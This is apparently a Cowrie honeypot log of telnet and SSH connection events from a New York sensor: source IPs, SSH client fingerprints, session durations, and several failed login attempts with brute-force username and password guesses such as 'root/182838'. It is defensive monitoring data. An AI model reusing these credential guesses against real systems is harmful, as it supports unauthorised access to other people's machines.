{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":34476,"dst_ip":"10.17.0.5","dst_port":23,"session":"1037fd93e19b","protocol":"telnet","message":"New connection: 139.162.207.207:34476 (10.17.0.5:23) [session: 1037fd93e19b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:50.404814Z"}
{"eventid":"cowrie.session.closed","duration":30.78456449508667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:50.693170Z","src_ip":"139.162.207.207","session":"cace914ed780","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.356470346450806,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:50.812465Z","src_ip":"209.126.87.217","session":"37cded4a5e66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:51.282604Z","src_ip":"45.43.86.48","session":"bf59a58d303b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.7633900642395,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:51.300810Z","src_ip":"139.162.207.207","session":"dda8f79faf81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50144,"dst_ip":"159.203.135.109","dst_port":23,"session":"100eadb79e33","protocol":"telnet","message":"New connection: 209.126.87.217:50144 (159.203.135.109:23) [session: 100eadb79e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:52.446573Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50156,"dst_ip":"159.203.135.109","dst_port":23,"session":"43836b41f096","protocol":"telnet","message":"New connection: 209.126.87.217:50156 (159.203.135.109:23) [session: 43836b41f096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:55.442431Z"}
{"eventid":"cowrie.session.closed","duration":120.00109028816223,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:58.963792Z","src_ip":"42.114.201.41","session":"f87a2b6f13f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.15978717803955,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:59.876213Z","src_ip":"209.126.87.217","session":"58168c13476a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":40089,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f6b5cd0c116","protocol":"telnet","message":"New connection: 42.114.201.41:40089 (159.203.135.109:23) [session: 8f6b5cd0c116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:19:59.979113Z"}
{"eventid":"cowrie.session.closed","duration":34.073819160461426,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:03.493637Z","src_ip":"209.126.87.217","session":"2e7ebd9c74c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":44316,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6e3f9bae6ae","protocol":"ssh","message":"New connection: 103.146.202.174:44316 (159.203.135.109:22) [session: f6e3f9bae6ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:03.685381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:03.690724Z","src_ip":"103.146.202.174","session":"f6e3f9bae6ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:03.935377Z","src_ip":"103.146.202.174","session":"f6e3f9bae6ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p0o9i8u7","message":"login attempt [root/p0o9i8u7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:05.005998Z","src_ip":"103.146.202.174","session":"f6e3f9bae6ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:06.251375Z","src_ip":"103.146.202.174","session":"f6e3f9bae6ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":34202,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b9289fa4269","protocol":"telnet","message":"New connection: 209.126.87.217:34202 (159.203.135.109:23) [session: 9b9289fa4269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:08.570123Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56526,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c7ae64a72b5","protocol":"telnet","message":"New connection: 209.126.87.217:56526 (159.203.135.109:23) [session: 1c7ae64a72b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:10.051695Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56538,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f5e432ef250","protocol":"telnet","message":"New connection: 209.126.87.217:56538 (159.203.135.109:23) [session: 9f5e432ef250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:10.985495Z"}
{"eventid":"cowrie.session.closed","duration":37.3917441368103,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:11.790931Z","src_ip":"139.162.207.207","session":"fbb03cca7ab5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39674,"dst_ip":"159.203.135.109","dst_port":22,"session":"975f3ddde41a","protocol":"ssh","message":"New connection: 159.203.92.129:39674 (159.203.135.109:22) [session: 975f3ddde41a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:15.368740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:15.410482Z","src_ip":"159.203.92.129","session":"975f3ddde41a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:15.416064Z","src_ip":"159.203.92.129","session":"975f3ddde41a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Umon.@123","message":"login attempt [ansible/Umon.@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:15.513952Z","src_ip":"159.203.92.129","session":"975f3ddde41a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56552,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6e09847cee6","protocol":"telnet","message":"New connection: 209.126.87.217:56552 (159.203.135.109:23) [session: f6e09847cee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:15.635538Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:16.521375Z","src_ip":"159.203.92.129","session":"975f3ddde41a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.880890607833862,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:17.610003Z","src_ip":"209.126.87.217","session":"a9c78e5322dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":60690,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4eada1833c9","protocol":"telnet","message":"New connection: 139.162.207.207:60690 (10.17.0.5:23) [session: c4eada1833c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:20.946683Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":60706,"dst_ip":"10.17.0.5","dst_port":23,"session":"03c29ccfbdc9","protocol":"telnet","message":"New connection: 139.162.207.207:60706 (10.17.0.5:23) [session: 03c29ccfbdc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:22.171879Z"}
{"eventid":"cowrie.session.closed","duration":33.19617223739624,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:25.642654Z","src_ip":"209.126.87.217","session":"100eadb79e33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.692036151885986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:26.134342Z","src_ip":"209.126.87.217","session":"43836b41f096","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.18073654174805,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:26.585447Z","src_ip":"139.162.207.207","session":"1037fd93e19b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":56768,"dst_ip":"159.203.135.109","dst_port":22,"session":"73251c3c3889","protocol":"ssh","message":"New connection: 171.244.141.86:56768 (159.203.135.109:22) [session: 73251c3c3889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:30.693553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:30.701925Z","src_ip":"171.244.141.86","session":"73251c3c3889","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50258,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d3659dd7e9f","protocol":"telnet","message":"New connection: 209.126.87.217:50258 (159.203.135.109:23) [session: 6d3659dd7e9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:30.826198Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:30.955057Z","src_ip":"171.244.141.86","session":"73251c3c3889","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"182838","message":"login attempt [root/182838] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:31.984278Z","src_ip":"171.244.141.86","session":"73251c3c3889","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50262,"dst_ip":"159.203.135.109","dst_port":23,"session":"efffe406d65d","protocol":"telnet","message":"New connection: 209.126.87.217:50262 (159.203.135.109:23) [session: efffe406d65d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:32.702091Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:33.236061Z","src_ip":"171.244.141.86","session":"73251c3c3889","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":39784,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f7239e4fb7e","protocol":"ssh","message":"New connection: 37.143.61.130:39784 (159.203.135.109:22) [session: 0f7239e4fb7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:36.178149Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50266,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3217341f1db","protocol":"telnet","message":"New connection: 209.126.87.217:50266 (159.203.135.109:23) [session: e3217341f1db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:36.559524Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":44630,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ed183c6e613","protocol":"telnet","message":"New connection: 139.162.207.207:44630 (10.17.0.5:23) [session: 2ed183c6e613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:36.857400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:38.098213Z","src_ip":"37.143.61.130","session":"0f7239e4fb7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:38.219423Z","src_ip":"37.143.61.130","session":"0f7239e4fb7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":59464,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea8ec4f5c9c7","protocol":"telnet","message":"New connection: 209.126.87.217:59464 (159.203.135.109:23) [session: ea8ec4f5c9c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:41.261750Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd12345678","message":"login attempt [root/Abcd12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:41.800537Z","src_ip":"37.143.61.130","session":"0f7239e4fb7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.485008001327515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:42.470369Z","src_ip":"209.126.87.217","session":"9f5e432ef250","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.64806008338928,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:42.699615Z","src_ip":"209.126.87.217","session":"1c7ae64a72b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.3993878364563,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:42.969407Z","src_ip":"209.126.87.217","session":"9b9289fa4269","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:43.031382Z","src_ip":"37.143.61.130","session":"0f7239e4fb7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":41030,"dst_ip":"10.17.0.5","dst_port":23,"session":"42ea4314103a","protocol":"telnet","message":"New connection: 139.162.207.207:41030 (10.17.0.5:23) [session: 42ea4314103a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:43.707011Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":59586,"dst_ip":"159.203.135.109","dst_port":23,"session":"65ee2600faf5","protocol":"telnet","message":"New connection: 185.26.126.47:59586 (159.203.135.109:23) [session: 65ee2600faf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:44.735773Z"}
{"eventid":"cowrie.session.closed","duration":32.06879448890686,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:47.704198Z","src_ip":"209.126.87.217","session":"f6e09847cee6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":41038,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0963dc7e108","protocol":"telnet","message":"New connection: 139.162.207.207:41038 (10.17.0.5:23) [session: b0963dc7e108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:52.493788Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":41042,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cf2b58e1f5e","protocol":"telnet","message":"New connection: 139.162.207.207:41042 (10.17.0.5:23) [session: 3cf2b58e1f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:53.603160Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56948,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bee3795cab0","protocol":"telnet","message":"New connection: 209.126.87.217:56948 (159.203.135.109:23) [session: 3bee3795cab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:53.977493Z"}
{"eventid":"cowrie.session.closed","duration":36.169408321380615,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:20:58.341172Z","src_ip":"139.162.207.207","session":"03c29ccfbdc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45618,"dst_ip":"159.203.135.109","dst_port":22,"session":"58b40b59c869","protocol":"ssh","message":"New connection: 159.203.92.129:45618 (159.203.135.109:22) [session: 58b40b59c869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:00.146652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:00.152674Z","src_ip":"159.203.92.129","session":"58b40b59c869","protocol":"ssh"}
